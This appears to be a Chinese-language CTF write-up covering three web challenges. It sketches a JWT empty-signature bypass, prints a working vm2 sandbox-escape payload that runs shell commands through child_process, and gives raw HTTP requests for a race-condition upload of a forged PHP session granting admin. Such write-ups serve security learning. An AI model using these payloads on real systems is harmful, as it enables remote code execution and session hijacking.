虎符CTF WEB WP

web狗已在天台 感觉良好

web1 名字我忘了

node的jwt库的空加密缺陷 基本就是evoA师傅在unctf出的题目的究极简化版

https://evoa.me/index.php/archives/60/

直接看这个吧

为了绕过最开始对sid的判断

要注册一个账号

然后sid设置成""就完美绕过了

web2 也忘了

表面php 实际node.js

沙盒逃逸

有过滤 但是直接数组就绕了

然后vm的issue里可以搜到能用的逃逸exp

https://github.com/patriksimek/vm2/issues/225

try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }

传过去发现return报错 那就不return了

try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
         e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }

getshell

web3 upload

这题基本就是trickgame了

比较坑的地方一个是服务端会删文件 所以要burp跑

还有一点是远程的序列化器并不是默认的 要自己读下session 按他的格式来，而且有一个不可显字符也要复制上

POST / HTTP/1.1
Host: 8fce7c87ca4b438faeec25f242221df61c007e956a984471.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:P3rh4ps
Content-Type: multipart/form-data; boundary=--------------------------242244541916994512077413
Content-Length: 455

----------------------------242244541916994512077413
Content-Disposition: form-data; name="direction"

upload
----------------------------242244541916994512077413
Content-Disposition: form-data; name="attr"

----------------------------242244541916994512077413
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: application/octet-stream

usernames:5:"admin";
----------------------------242244541916994512077413--

POST /woc/ HTTP/1.1
Host: p3rh4ps.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:PHPSESSID=93a84af02e9b3ecabc4796cd0668c3fda0c2f9f76cdd223a1cc94fddaa297bf8
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------242244541916994512077413
Cookie: PHPSESSID=38e7636c6db1657cf40b1fd39086bacf; __jsluid_h=28cfab0164f01559672c2377f4b53ce8
Content-Length: 455

----------------------------242244541916994512077413
Content-Disposition: form-data; name="direction"

upload
----------------------------242244541916994512077413
Content-Disposition: form-data; name="attr"

success.txt
----------------------------242244541916994512077413
Content-Disposition: form-data; name="up_file"; filename="sess"
Content-Type: application/octet-stream

usernames:5:"admin";
----------------------------242244541916994512077413--

brup爆破发这俩包条件竞争 attr是为了创建个success.txt的文件夹绕过文件存在的判断

最后cookie改成432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

就出来了

没什么难度但是体验很差的题 throw了一堆异常 结果error_report(0) 一点回显没有 只能本地测充分了再去远程打

估计session的序列化器也卡了不少人 很恶心

没有进线下 所以我直接发出来了 就酱